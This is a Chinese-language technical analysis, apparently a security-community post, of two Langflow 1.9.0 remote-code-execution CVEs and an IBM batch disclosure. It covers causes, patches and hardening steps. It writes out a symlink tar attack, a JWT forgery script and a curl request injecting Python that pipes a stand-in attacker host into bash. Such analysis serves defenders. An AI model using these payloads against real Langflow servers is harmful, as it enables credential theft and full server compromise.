Langflow 1.9.0 连环雷:两个 CVSS 9.6 的 RCE 漏洞技术剖析
漏洞分析
Langflow 1.9.0 存在两个 CVSS 9.6 RCE 漏洞:一个利用 tar 符号链接窃取 JWT 密钥链式提权,另一个通过公开 API 注入 Python 代码直接 RCE,叠加 IBM 批量披露的数十个 CVE,覆盖全版本。
Langflow 1.9.0 连环雷:两个 CVSS 9.6 的 RCE 漏洞技术剖析 =========================================== 一、先说两句 ------ Langflow 这东西,做 AI 应用的人应该不陌生。低代码拖拽搭 RAG 管道,画几个框连几条线,数据从 PDF 里抽出来、分块、嵌入、存向量库、接大模型、挂对话界面——一条龙。GitHub 上快 5 万星,用户从独立开发者到企业团队都有。 火得很快,但安全投入没跟上。 2026 年 5 到 6 月,安全研究员 vbCrLf(Ori Lahav,Rubrik 的人)连着挖了好几个 Langflow 的 RCE,其中两个 CVSS 评分 9.6,属于**只要你在跑 Langflow 1.9.0 及以下版本,基本就是在裸奔**。1.9.2 修了,但问题是——知道要升级的人多,真正动手的人少。 两个漏洞的打法完全不同。 一个走文件上传,用符号链接读走 JWT 密钥再伪造身份执行代码。另一个走公共 API,直接在请求体里塞 Python 代码让服务器帮你跑。 一个需要你上传文件才能触发,另一个只要你开了 Playground 分享功能就敞开大门。 **说白了:一个是"你把文件给我我慢慢搞你",另一个是"你开了共享我直接进来"。** 二、先搞清楚 Langflow 的架构 ------------------- 在聊漏洞之前,得先知道 Langflow 到底是怎么跑的。这不是用过的读者可以跳过,但没碰过的读了后面才不会有断层。 Langflow 的核心抽象是 **Flow(工作流)**。一个 Flow 由多个 **Component(组件)** 通过连线构成,每个组件就是一个功能单元,比如"读取PDF"、"文本分块"、"调用OpenAI"等等。 架构上它分三层: - **前端**(React Flow):拖拽画布,所见即所得 - **API 层**(FastAPI):负责 Flow 的创建、执行、管理 - **执行引擎**(Python):真正跑组件的地方,每个组件就是一个 Python 类 关键的一点是——Langflow 允许用户在 Flow 里使用 **自定义 Python 代码**,通过一个叫 Python Interpreter 的组件执行任意脚本。这个设计本身不是问题,问题在于它需要一个可靠的**身份认证机制**来确保只有授权用户才能创建和执行含有自定义代码的 Flow。 Langflow 用 JWT 做认证。流程是这样的:用户登录 → 服务端签发 JWT → 后续请求带 JWT 验证身份。 JWT 的安全完全依赖 **secret\_key**,这个密钥一旦泄露,任何人都能伪造管理员令牌。 好,背景说完。 三、CVE-2026-55447:一个 tar 包走天涯 ---------------------------- 编号 CVE-2026-55447,GitHub Advisory GHSA-ccv6-r384-xp75。CVSS 9.6,Critical。 ### 根因出在哪 Langflow 有一个基类叫 `BaseFileComponent`,专门处理文件上传和解压。很多组件都继承它: - **Docling**(文档解析) - **Docling Serve**(远程 Docling) - **Read File**(文件读取) - **Video File**(视频文件处理) - **NVIDIA Retriever**(检索组件) - **Unstructured API**(非结构化数据 API) 一条血脉上的。 这些组件的共同点是:接受用户上传的压缩包(主要是 tar 格式),解压后处理里面的文件。干活的函数叫 `_unpack_bundle`,在 `langflow/src/lfx/src/lfx/base/data/base_file.py` 里。 问题就出在这里。 `_unpack_bundle` 解压 tar 包时,**完全没有检查文件条目是不是符号链接**。Python 的 `tarfile` 标准库支持 symlink 和 hardlink,这是 tar 格式本身就有的能力。但解压的时候,库不会替你做安全检查——它只管"把文件写出来"。检查的责任在调用方。 而这个调用方什么都没做。 CWE-61,UNIX 符号链接跟随。 这不是什么新东西。tar 解压的 symlink 攻击至少在 2010 年代就已经被大量讨论过。像 `tar --no-same-permissions`、解压前遍历成员检查 `issym()`、用 `data_filter` 参数拒绝特殊文件——这些都是写在安全手册里的标准做法。 但 Langflow 的实现里一条都没用。 核心代码的简化逻辑大致是这样: ```js def _unpack_bundle(self, buffer: BytesIO) -> list[str]: """解压 tar 包并返回文件列表""" extract_dir = tempfile.mkdtemp() with tarfile.open(fileobj=buffer, mode="r:*") as tar: # 没有过滤 symlink 成员 tar.extractall(path=extract_dir) # 收集解压出的文件路径 files = [] for root, dirs, filenames in os.walk(extract_dir): for f in filenames: files.append(os.path.join(root, f)) # 交给 process_files 处理 return self.process_files(files) ``` `process_files` 接着会把文件内容读出来,经过 OCR、嵌入等处理后存入向量数据库。正常流程下这没问题——用户上传一个 PDF,系统提取文本后存起来供后续检索。 但当我上传的不是 PDF,而是一个指向 JWT 密钥文件的 symlink 时呢? 系统不会说"这是个符号链接,我不处理"。它沿着链接读下去,把密钥当文档内容处理。 ### 攻击链拆解 vbCrLf 构造的利用链分成四步,每一步都很巧妙: **第一步:丢一个带钩子的 tar 包** 攻击者创建一个 tar 文件,里面不装正常文件,只放一个符号链接。这个 symlink 指向 Langflow 的 `secret_key` 文件。 Langflow 的 JWT 密钥存放在文件系统中,路径是可预测的。如果你用 Docker 部署的 Langflow,密钥文件的位置更是固定的。攻击者不需要猜——翻翻源码就能确定。 构造恶意 tar 的命令很简单: ```js # 创建一个指向 secret_key 的符号链接 ln -s /path/to/langflow/secret_key malicious_link # 把这个 symlink 打包进 tar tar cf exploit.tar malicious_link ``` 就这么三行。 **第二步:让系统帮你把密钥存进向量库** 攻击者(或者被骗上传文件的管理员)把这个 tar 包喂给 Langflow 的 Read File 组件或其他 BaseFileComponent 子组件。 系统解压 tar 后,沿着 symlink 读到 `secret_key` 文件的内容。然后 `process_files()` 接手,把"文件内容"分块、嵌入、存入向量数据库。 这里有一个很讽刺的点:RAG 系统的核心功能是"把文档变成知识",结果攻击者利用这个功能把密钥变成了知识。 **说白了,你设计了一个 RAG 系统用来存知识库,攻击者用你的知识库存你的密钥。** **第三步:从聊天机器人嘴里套话** 向量数据库里存了密钥,怎么取出来? Langflow 的 Chatbot 组件天然就是向量数据库的查询接口。Flow 的交互逻辑就是"用户发消息 → 检索向量库 → 组装上下文 → 发给大模型 → 返回回复"。攻击者不需要 SQL 注入或者什么高级技巧——就是跟机器人正常对话,发几个检索请求。 密钥被当成文档内容,检索到了就会出现在返回的上下文中。 这一步的关键在于:Langflow 的向量检索默认是按相关性排名的,被嵌入的"secret\_key 文档"和其他正常文档混在一起。攻击者需要构造能命中密钥内容的查询。不过回想一下,密钥文件的内容格式是固定的(比如 JSON 格式的 `{"secret_key": "xxx"}`),只要查询词覆盖了这些关键词,命中率很高。 **第四步:伪造 JWT,执行任意代码** 拿到密钥之后,一切就结束了。 攻击者可以用标准的 JWT 库,用窃取的密钥签名任意 payload。想冒充管理员就冒充管理员,想设置什么过期时间就设置什么。 ```js import jwt # 从向量数据库获取的 secret_key secret = "exposed-secret-key-here" # 伪造管理员令牌 payload = { "sub": "admin-user-id", "role": "admin", "iat": 1689000000, "exp": 1999999999 } fake_token = jwt.encode(payload, secret, algorithm="HS256") print(fake_token) ``` 有了管理员令牌,攻击者调用 API 创建一个新的 Flow,拖一个 `Python Interpreter` 节点进去,在里面写任意 Python 代码——反弹 shell、挖矿、数据窃取、勒索,什么都干得了。 ```js # 在 Python Interpreter 节点里执行 import os os.system("curl http://attacker-server/shell.sh | bash") ``` 整套链路画出来就是这样: ```js 恶意 tar (symlink → secret_key) ↓ BaseFileComponent._unpack_bundle 解压 ↓ tar.extractall() — 不检查文件类型 ↓ os.walk + process_files() 读取 symlink 指向 ↓ 内容分块 + 嵌入 → 存入向量数据库 ↓ Chatbot 接口检索 → 命中密钥内容 → 返回 ↓ 攻击者拿到 JWT secret_key ↓ 伪造管理员 JWT 令牌 ↓ 调用 API 创建含 Python Interpreter 的 Flow ↓ class_object(...) 执行恶意代码 ↓ RCE — 服务器被完全控制 ``` ### 几点值得注意的细节 第一,这个漏洞不需要用户交互达到"高"的程度。CVSS 里的 `UI:R` 说的是"用户需要上传文件"——但在真实场景中,很多 Langflow 部署都有自动化的文件处理管道,文件从外部系统自动导入。连"有人点一下上传"都不需要。 第二,影响的组件列表很广。六个主要组件都继承自 BaseFileComponent,这意味着不管用户用哪个组件处理文件,只要底层走了 `_unpack_bundle`,就全中。Docling 是 Langflow 里最常用的文档解析组件之一,几乎每个 RAG 应用都会用到它。 第三,利用链的每一环都利用了系统本身的"正常功能"。没有缓冲区溢出,没有内存破坏,没有 SQL 注入——通篇都是"设计没考虑到攻击者会这样用"。这才是最让人头疼的漏洞类型:不是代码写错了,是假设错了。 ### 怎么修的 Langflow 1.9.2 的 PR #12945 修了这个洞。 修法简单粗暴:`_unpack_bundle` 解压时遍历 tar 成员,碰到 symlink 和 hardlink 直接拒绝,只处理普通文件。 ```js with tarfile.open(fileobj=buffer, mode="r:*") as tar: for member in tar.getmembers(): if member.issym() or member.islnk() or not member.isfile(): raise ValueError("Symlinks and hardlinks are not allowed") tar.extractall(path=extract_dir) ``` 另外加了一层递归目录遍历的 symlink 过滤,双重保险——即使第一层漏了,第二层还能兜住。 说实话,看到这个修复我觉得有点复杂。复杂的地方不在于修复本身(三行代码的事),而在于**为什么最初没写这三行**。tar 解压防 symlink 是安全基础课的内容,Langflow 做到这个体量了还能犯这种错。 **一句话:一个 2026 年的项目被 2015 年就该防住的攻击打穿,不是因为技术难,是因为没人想过要防。** 四、CVE-2026-48519:公共 API 就是你的后门 ------------------------------ 第二个漏洞 CVE-2026-48519(GHSA-v5ff-9q35-q26f),同样是 CVSS 9.6,同样是 vbCrLf 挖的。 如果说上个漏洞是"绕一圈搞你",这个就是"大门敞开,请进"。 ### Shareable Playground Langflow 的"可共享 Playground"功能允许用户把一个 Flow 生成公开链接,任何人都能直接打开跟它交互。听起来很实用——把 AI 应用分享给客户演示、让团队成员试用、做 MVP 原型展示。 但这个功能引入了一个新的攻击面:**未认证的代码执行入口**。 实现上,它暴露了一个路由: ```js POST /api/v1/build_public_tmp/{flow_id} ``` 这个路由的设计意图是:让未认证用户也能执行已经公开的 Flow。注意"已经公开的 Flow"——意思是用户只能跟现有的 Flow 交互,不能改它。 问题是,API 的实现没跟设计意图对齐。 ### 根因 `build_public_tmp` 接受完整的 JSON 请求体,里面包含了整个 Flow 的定义——包括每个组件的参数和代码。 对,就是整个 Flow 的序列化数据。包括每个节点的 `code` 字段。 服务端拿到请求体后,不是去数据库查"这个 Flow 原来是什么样子的",而是直接用请求体里的数据重建 Flow。攻击者可以修改请求体中的任意字段,包括代码字段。 关键字段是这个: ```js { "data": { "nodes": [{ "data": { "node": { "template": { "code": { "value": "__import__('os').system('id')" } } } } }] } } ``` `data.nodes[X].data.node.template.code.value` — 一个字段走天下。 服务端拿到这个字段的值后,直接传给了 `class_object(...)` 动态执行。调用链是这样的: ```js generate_flow_events() → build_graph_and_get_order() → create_graph() → build_graph_from_data() → Graph.from_payload() → add_nodes_and_edges() → _instantiate_components_in_vertices() → vertex.instantiate_component() → loading.instantiate_class() → class_object(...) ← 执行用户代码 ``` 关键在 `loading.py` 的 `instantiate_class` 函数。它接收组件定义中的代码字段,通过 `class_object(code, ...)` 的方式实例化。Python 里用字符串动态创建对象,本质上就是 `exec(eval(...))` 的路径,只不过包装得好看一点。 ### 完整利用 如果攻击者找到了一个公开的 Playground 链接,利用过程几乎不带什么技术门槛: 第一步:拿到公开链接,比如 `https://your-langflow-instance.com/playground/abc123`。 第二步:打开浏览器开发者工具,切到 Network 面板。刷新页面或者跟 Playground 交互一次,找到发往 `/api/v1/build_public_tmp/abc123` 的请求。 第三步:右键这个请求 → Copy as cURL。 第四步:在终端里粘贴这个 cURL 命令,找到请求体中的 `code.value` 字段,把值换成恶意 Python 代码。 ```js curl 'http://target:7860/api/v1/build_public_tmp/abc123/flow?start_component_id=ChatInput-xxx&log_builds=false&event_delivery=streaming' \ -H 'Content-Type: application/json' \ -b 'client_id=anything' \ --data-raw '{ "data": { "nodes": [{ "data": { "node": { "template": { "code": { "value": "import os; os.system(\"curl http://attacker/payload.sh | bash\")" } } } } }] } }' ``` 第五步:执行。服务端收到请求,走一遍组件实例化链路,执行注入的代码。 不需要绕过登录,不需要搞认证,不需要传文件。一个 JSON 字段,没了。 CVSS 向量 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`。翻译成人话:网络远程、复杂度低、不需要权限、不需要用户交互、影响范围扩散、机密性完整性可用性全高。 CISA 给的评估是三个字:"Technical Impact: Total"。 ### 跟上一个漏洞的对比 两个漏洞虽然 CVSS 分数一样,但实际场景中的利用门槛差别很大: CVE-2026-55447 要求系统里有文件上传入口,而且实际触发了组件的解压流程。如果管理员没开文件上传功能,或者上传流程有额外校验,攻击者就卡住了。 CVE-2026-48519 的条件更宽松:只要有人分享了一个 Playground,任何能访问公开链接的人都能打。而且这个"公开链接"的传播路径比想象中广——开发者在 GitHub Issue 里贴链接、在演示文档里放链接、在社交平台上分享——这些场景下链接是完全暴露的。 一个需要条件触发,一个开了就是通的。 ### 怎么修的 同样是 1.9.2。GitHub 上的修复者是 Jkavia。 修复方式是在公开 API 的入口处增加了对传入代码字段的校验。具体来说,`build_public_tmp` 路由在处理请求体时,会过滤掉或拒绝包含未授权代码字段的节点定义。 不过说实话,这种在入口处做校验的修复方式有一个常见的绕过的风险:如果校验逻辑和实际执行逻辑之间存在差异——比如校验时检查字段 A,但执行时读取字段 B——攻击者就能绕过。 **一句话:每个公开 API 都是潜在的后门,区别只在于有没有人发现那个 JSON 字段。** 五、IBM 的批量大礼包 ------------ 上面两条是独立研究员挖的。但 Langflow 的麻烦远不止于此。 2026 年 6 月 30 日,IBM 一口气发布了几十个 Langflow 的 CVE。不是几个,是几十个。覆盖版本范围从 1.0.0 到 1.10.0,几乎包罗了所有安全漏洞类型。 ### CVE-2026-7803 — 输入验证不当 RCE CVSS 9.8,比上面两个还高 0.2 分。 描述很简短:`improper validation of flow nodes with missing or empty component type fields`。 什么意思呢?Flow 里每个节点都有一个 `type` 字段标明它是什么组件。当这个字段为空或者缺失时,系统没有做好输入验证,攻击者可以利用这个缺陷构造请求执行任意代码。 打分比上面两个高的原因是 CVSS 向量里的 `PR:N`(不需要权限)和 `UI:N`(不需要用户交互)。CVE-2026-55447 至少还需要 `UI:R`(用户需要上传文件),而这个是完全不需要交互的。 CISA 目前的评估是"没有已知在野利用",但标注了"可自动化攻击"。这意味着安全工具可以批量扫描互联网上的 Langflow 实例,找到未修复的直接打穿。 ### CVE-2026-7873 — 已认证用户 OS 命令注入 CVSS 9.9,全场最高。 CWE-94 代码注入。允许已认证用户在系统上执行任意 OS 命令、读取敏感文件(包括凭据),然后实现"complete system compromise and lateral movement"。 这个 9.9 的高分主要是 CVSS 的 `S:C`(Scope Changed,影响范围超出原权限)。攻击者不只是控制了 Langflow 应用本身,还能拿到操作系统层面的权限,然后往内部网络的其他系统跳。一台 Langflow 被控 → 读取数据库凭据 → 攻击数据库 → 读取更多凭据 → 横向移动到其他内网系统。这才是 9.9 的完整含义。 值得注意的是 IBM 对 `CISA-ADP` 的 `automatable` 标了"否"。跟 CVE-2026-7803 形成对比——那个标了"是"这个标了"否"。可能的原因是 CVE-2026-7873 需要已认证用户才能触发,不能直接用扫描器盲打。 ### IBM 披露策略值得注意的地方 IBM 这批 CVE 有一个共同特点:**没有提供 PoC 或完整的技术细节**。每个 CVE 只给了简短的描述和指向 IBM 官方安全公告的链接,连 CVSS 向量都是 NVD 分析师自己拼出来的。 这不是 IBM 不透明,而是 Langflow 是 IBM 产品线的一部分(IBM Langflow OSS),大规模披露 CVE 时通常只会给必要的信息,详细的技术分析留给自己的客户。 这对安全社区来说意味着两件事: 第一,这些漏洞的 PoC 迟早会流出来——可能是其他研究员独立发现的,也可能是逆向补丁做出来的。IBM 不发布 PoC 不代表漏洞不存在、不可利用。 第二,既然 IBM 给了 9.8 和 9.9 的评分,就不要心存侥幸觉得"不打补丁也没事"。IBM 的 CVSS 评分一向偏保守,给到 9.8、9.9 意味着他们已经确认了最坏的利用场景。 ### 其他值得一提的漏洞 几十个 CVE 里面,还有几个值得单拎出来说的: - **CVE-2026-7874**(CVSS 未评):所有存储凭据泄露。Langflow 存储的第三方服务凭据(API Key、数据库密码等)可以被读取。 - **CVE-2026-7871**(CVSS 未评):拥有 Redis 访问权限的攻击者可执行任意代码。Langflow 用 Redis 做缓存和消息队列,这个入口在某些部署场景下是暴露的。 - **CVE-2026-7663**:未认证攻击者可访问受保护资源。影响 1.0.0–1.9.6 版本,API 认证绕过。 - **CVE-2026-10561**(沙箱逃逸):Python 组件隔离不完善,影响 1.0.0–1.9.3 版本。 - **CVE-2026-10134**:攻击者可读取所有可用的密钥。与 CVE-2026-55447 类似,但利用路径不同。 **一句话:IBM 把 Langflow 整个翻了一遍,每个没做安全检查的角落都给了编号。** 六、这些漏洞之间有什么关联 ------------- 两个独立研究员发现的和 IBM 批量披露的,看起来是各自为战,但放在一起看,能发现一些共同的问题模式。 **第一,对不可信输入的信任贯穿始终。** CVE-2026-55447 信任了 tar 包里的 symlink。CVE-2026-48519 信任了公共 API 请求体里的代码字段。CVE-2026-7803 信任了节点 type 字段非空。CVE-2026-7873 信任了已认证用户的代码注入请求。 Langflow 的代码里似乎有一种"用户不会害我"的假设。对内部流转的数据不做校验,对 API 请求体不做深度检查,对文件格式不做安全过滤。每一个漏洞背后都是一个"这个字段应该不会有人乱填吧"的瞬间。 **第二,低代码平台的攻击面比传统 Web 应用更宽。** 传统的 Web 应用,攻击面主要是 API 端点和用户输入。但 Langflow 这种低代码平台多了一层——组件系统。每个组件都可能成为攻击面,组件之间的数据流转方式也可能被滥用,而且组件系统本身的动态执行机制(Python 代码动态实例化)天然就是 RCE 的温床。 换句话说,低代码平台把编程门槛降低了,但也把攻击面放大了。普通 Web 应用的 RCE 通常是某个特定函数的缓冲区溢出或者某个模板引擎的注入——漏洞类型虽然多,但触发条件相对固定。低代码平台的 RCE 可以是任意组件、任意参数、任意代码字段,组合方式是指数级的。 **第三,JWT 密钥泄露的连锁反应。** CVE-2026-55447 最终能转成 RCE,是因为 JWT 密钥泄露后攻击者可以伪造身份。如果 Langflow 的实现不依赖 JWT,或者即使密钥泄露也有额外的签名机制,这条链就走不通。 但 Langflow 的 JWT 实现是最简单的那种——单密钥、HS256 对称签名、密钥存文件。一旦密钥文件的路径暴露(开源的,路径确实是暴露的),整个认证体系就塌了。 Symlink 读文件本身并不致命(读个 `/etc/passwd` 算什么),但结合了 JWT 单点失效的设计缺陷,就致命的。 七、代码审计视角:从源码看漏洞 --------------- 如果要做一次 Langflow 源码的快速审计,有几个关键点是必须盯住的。 ### 组件实例化的安全边界 Langflow 的组件实例化走的是动态类加载路径。核心函数在 `langflow/loading/loading.py` 里,大概长这样: ```js def instantiate_class( node_type: str, base_class: type, serialized: dict, **kwargs, ) -> BaseComponent: """从序列化数据实例化组件""" # 1. 根据 node_type 找到对应的 Python 类 class_obj = get_class(node_type) # 2. 从 serialized 中提取参数 params = extract_params(serialized) # 3. 如果组件有自定义代码,执行它 if "code" in params: code = params.pop("code") # 这里直接 exec 用户代码 exec(code, globals()) # 或者通过 class_object(code) 动态创建 # 4. 实例化 return class_obj(**params) ``` 问题在于第三步。`exec(code, globals())` 调用没有做任何沙箱隔离。传入的代码可以访问 `os`、`subprocess`、`shutil`、`socket` 等任何 Python 标准库。等于说,任何能控制 `code` 参数的人,都能在服务器上执行任意操作。 CVE-2026-48519 和 CVE-2026-7873 都是通过这条路径打的。 ### 文件处理管道的安全假设 BaseFileComponent 的设计假设是:用户上传的是"正常的文件"。解压、读取、处理——三个步骤之间没有任何安全检查。 ```js def process_files(self, files: list[str]) -> Any: """处理解压出的文件列表""" texts = [] for file_path in files: # 直接读取文件路径指向的内容 content = self._read_file_content(file_path) # 分块后存入向量库 chunks = self._split_text(content) texts.extend(chunks) return self._embed_and_store(texts) ``` `_read_file_content` 不会问"这个文件是不是 symlink",它打开文件就读。`_split_text` 也不会问"这个内容是不是密钥",它只管分块。`_embed_and_store` 更不会问——嵌入和存储是最终操作,甚至不知道文本内容是什么。 三层处理,零层安全检查。 ### 审计结论 Langflow 的代码质量本身不差,架构也清晰。但安全审计的覆盖明显没跟上。关键路径(文件处理、组件实例化、身份认证)上的安全检查要么缺失、要么不到位。 对安全研究员来说,Langflow 这样的项目是"富矿"——入口多、信任假设强、安全检查稀薄。对用户来说,这就是定时炸弹。 从这次审计还能看出一个更深层的问题:**Langflow 缺乏一个统一的安全输入验证层**。每个组件各自为战,有的做了校验,有的没做,有的做了一半。BaseFileComponent 没检查 symlink,但是其他文件处理组件可能有自己的检查——问题在于这些检查不是强制性的,继承它的子组件可能覆盖或者跳过。这种"非强制安全"的设计在快速迭代的项目里很常见,但也是最容易出事的。 理想的做法是在框架层面做强制安全约束,让每个继承 BaseFileComponent 的子组件不需要自己操心安全问题。比如在基类的 `_unpack_bundle` 里就把 symlink 过滤死,子组件想关都关不掉。而不是像现在这样——基类没过滤,子组件也没补上,两头落空。 八、两张图看懂攻击全貌 ----------- ### 两个 RCE 漏洞核心对比  ### CVE-2026-55447 四步攻击链  ### CVE-2026-48519 Playground 利用流程  三张图放在一起看,能很直观地感受到两个漏洞的区别。CVE-2026-55447 是一条弯弯绕绕的四步链路,每步都利用了系统的一个正常功能做跳板。CVE-2026-48519 是一步到位,改一个 JSON 字段就结束。 如果把这次 Langflow 的事件和过去几年的低代码平台漏洞做横向对比,会发现一些有趣的共性。2024 年的 Apache OFBiz、2025 年的 Mirth Connect 和 ConnectWise,都出过类似的问题——动态组件加载、缺乏输入校验、认证机制单点失效。低代码平台的本质是把执行能力交给用户,但如果这个"执行能力"的边界没划清楚,就一定会被利用。这些年被翻来覆去打的低代码和零代码平台,翻车的姿势都差不多——动态执行用户提供的代码时没做沙箱隔离,文件上传没做安全检查,API 设计时假设了"所有调用者都是善意的"。Langflow 在这一点上并不特殊,它只是站在了同一个坑里。 九、如果非要评估一下影响面 ------------- 综合来看,Langflow 1.9.0 的几个 RCE 漏洞叠加,产生了一个不太让人舒服的局面。 从攻击路径看,入口点至少有这些: - **文件上传入口**:CVE-2026-55447 覆盖,利用 BaseFileComponent 组件的文件处理功能 - **公开 API 入口**:CVE-2026-48519 覆盖,利用 Shareable Playground 功能 - **认证后注入**:CVE-2026-7873 覆盖,利用已认证用户的代码注入 - **未经认证的节点注入**:CVE-2026-7803 覆盖,利用空类型字段的处理缺陷 四条路径通向同一个结果:服务器被完全控制。 从受影响用户看: Langflow 的使用场景大致分三类: 第一类是个人开发者在本地跑,用来搭原型。这类用户的风险相对低——攻击者需要先找到目标的 IP,还要能访问 Langflow 端口(本地部署通常不暴露在公网)。但问题在于,很多人用 Docker 部署到云服务器上,端口直接暴露,连防火墙都没有。 第二类是团队协作部署,几个人共同使用一个 Langflow 实例。这类用户风险中等。团队成员认证能访问,但存在内部威胁和凭据泄露的风险。特别是如果有成员离职后账号没清理、或者用了弱密码,CVE-2026-7873 这种已认证 RCE 就很有用。 第三类是企业级部署,对接生产数据。这类用户风险最高。Langflow 实例通常暴露在内网或公网上,连接了数据库、向量库、大模型 API 等敏感服务。一旦被 RCE,攻击者拿到的不只是 Langflow 的控制权,而是整条 AI 基础设施的访问权限。 十一、事件时间线 -------- 把这些漏洞按时间串起来看一眼: - **2026年5月21日**:GodDamn 勒索软件在野被发现——不直接相关,但说明这个时间窗口攻击活动很密集 - **2026年5月27日**:vbCrLf 提交 CVE-2026-48519(Shareable Playground RCE)到 GitHub Advisory Database - **2026年6月中**:vbCrLf 提交 CVE-2026-55447(BaseFileComponent symlink RCE) - **2026年6月16日**:CVE-2026-48519 经 GitHub 审核后公开 - **2026年6月30日**:IBM 批量发布几十个 Langflow CVE,包括 CVSS 9.8 的 CVE-2026-7803 和 CVSS 9.9 的 CVE-2026-7873 - **2026年7月2日**:NVD 完成对 IBM 批量 CVE 的初步分析 从研究员发现到补丁发布的时间窗口大约三到四周,不算太长,也不算短。IBM 那批漏洞从发现到公告发布的时间未知——IBM 通常会有一个内部的 embargo 期用于修复开发和客户通知。 关键是:Langflow 1.9.2 虽然修了最严重的两个 RCE,但 IBM 披露的大量漏洞覆盖到 1.10.0。如果你现在还在跑 1.9.x,你只是堵住了两个口子,墙上还有几十个洞。 十二、怎么防 ------ 整理一下应对方案,按紧急程度排列: ### 第一优先级:升级 立刻升到 Langflow 1.10.0 或以上。1.9.2 只修了上面两个 CVSS 9.6 的漏洞,IBM 那批问题要到更高版本才全部覆盖。 ```js # pip 安装 pip install --upgrade langflow # 或者 Docker docker pull langflow/langflow:latest ``` 升级后确认版本: ```js python -c "import langflow; print(langflow.__version__)" ``` 如果输出低于 1.10.0,说明没升上去。检查一下是不是有版本锁定(requirements.txt、pyproject.toml 之类的),或者 pip 源是不是没同步。 ### 第二优先级:网络隔离 如果因为兼容性问题暂时升不了级(比如项目里依赖了某些旧版本组件),先做网络层面的隔离: 把 Langflow 放到内网,通过反向代理暴露。在反向代理(Nginx、Caddy、Cloudflare Tunnel)上显式禁用不必要的路由: ```js # Nginx 配置示例 — 禁用 Playground 公开 API location /api/v1/build_public_tmp/ { deny all; return 403; } # 限制文件上传大小和类型 client_max_body_size 10m; ``` 如果用 Docker 部署,不要直接把端口映射到 `0.0.0.0`: ```js # 不要这样 docker run -p 0.0.0.0:7860:7860 langflow/langflow # 改成只监听本地 docker run -p 127.0.0.1:7860:7860 langflow/langflow ``` 然后用 Nginx 或者反向代理在前面做认证和访问控制。 ### 第三优先级:输入边界 在任何用户上传的文件进入 Langflow 组件之前,自己加一层预处理。 如果你自己写了一个上传服务(比如 Flask/FastAPI 接收文件再传进 Langflow),在上传服务里提前解压检查: ```js import tarfile import io def safe_extract_tar(data: bytes) -> list[bytes]: """安全解压 tar,拒绝 symlink 和 hardlink""" results = [] with tarfile.open(fileobj=io.BytesIO(data), mode="r:*") as tar: for member in tar.getmembers(): if member.issym() or member.islnk(): raise ValueError(f"Unsafe file entry: {member.name}") if not member.isfile(): continue f = tar.extractfile(member) if f: results.append(f.read()) return results ``` 这个做法是"防御纵深"——不依赖 Langflow 自己的过滤,在上游就卡住。 ### 第四优先级:监控和检测 如果你已经在跑 Langflow 且短期内无法升级,加强监控: - 检查 API 访问日志中有没有异常的 `/api/v1/build_public_tmp` 请求,特别是 body 里包含 `code.value` 或 `os.system` 等关键词的请求 - 监控服务器进程创建事件(Sysmon、auditd),看有没有 Langflow 进程启动了子 shell - 检查向量数据库的异常内容,有没有明显不是文档的敏感数据(密钥、密码等)被存入 - 检查 JWT 签名密钥文件有没有被异常读取的记录。在 Linux 上用 `auditd` 加规则监控密钥文件的访问:`auditctl -w /path/to/secret_key -p rwa -k langflow_secret` - 检查 Langflow 实例中是否存在未授权的 Flow,特别是那些包含 Python Interpreter 组件的 Flow。列出所有 Flow 检查是否有异常的节点 检测脚本可以写一个简单的健康检查: ```js #!/bin/bash # langflow_security_check.sh # 检查 Langflow 实例是否存在已知安全风险 TARGET=$1 echo "检查 Shareable Playground 是否暴露..." curl -s -o /dev/null -w "%{http_code}" "$TARGET/api/v1/build_public_tmp/test/flow" # 如果返回 200 或 422(而不是 404/403),说明端点存在 echo "检查是否存在公开的 JWT 密钥泄露..." # 向 Chatbot 接口发送检索测试请求 curl -s "$TARGET/api/v1/chat" -H "Content-Type: application/json" \ -d '{"query": "secret_key jwt langflow"}' | grep -i "secret" ``` 说实话,检测属于"没办法的办法"。这些漏洞的利用痕迹在入侵发生后很容易被攻击者清理——特别是攻击者已经通过 RCE 拿到了 shell 的情况下。监控的目的是**缩短驻留时间**,不是阻止入侵。 ### 第五优先级:关注 IBM 公告 IBM 那批 CVE 的修复还在陆续推进。如果你的 Langflow 版本在 1.0.0 到 1.10.0 之间,关注官方安全公告。 特别是 CVE-2026-7803(CVSS 9.8)和 CVE-2026-7873(CVSS 9.9),它们的修复补丁还没完全公开。IBM 的披露流程通常是:先发公告 → 给客户补丁 → 一段时间后公开详情。 对社区用户来说,这意味着你要持续关注 GitHub 上的 Release 页面,看看哪个版本号后面标注了安全修复。 IBM 安全公告页:<https://www.ibm.com/support/pages/node/7278445> 十三、收尾 ----- Langflow 这次的事,说到底是个安全行业的缩影。 一个项目快速成长,为了满足用户需求不断加功能,工程资源往新特性倾斜,安全投入跟不上的时候,总会有被翻底朝天的一天。 一条 symlink 没检查,一个 API 参数没过滤,两个加一起就是两个 CVSS 9.6。 IBM 再来一波批量审计,光 CVE 编号就排了几十个。SSRF、路径遍历、IDOR、认证绕过、沙箱逃逸、凭据泄露——该有的全有。 说实话,这也不是 Langflow 特别不安全。是所有增长快的开源项目在某个阶段都会经历的事。Docker、Kubernetes、TensorFlow、PyTorch,哪一个不是被翻过一遍又一遍。 区别只在于:你是那个在 PoC 公开前就升级的人,还是那个在得知漏洞后才动手的人。 这次还算运气好——PoC 公开和修复版本发布的时间窗口很短,攻击者没有太多时间窗口去大规模扫描利用。但下一次呢?不一定每次都这么走运。 升级吧。就现在。 **一句话:Langflow 给你搭了条 AI 的高速路,但门锁是纸糊的——别等别人推门进来了才想起换锁。**
发表于 2026-08-05 09:00:01
阅读 ( 885 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
ZeK1D
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!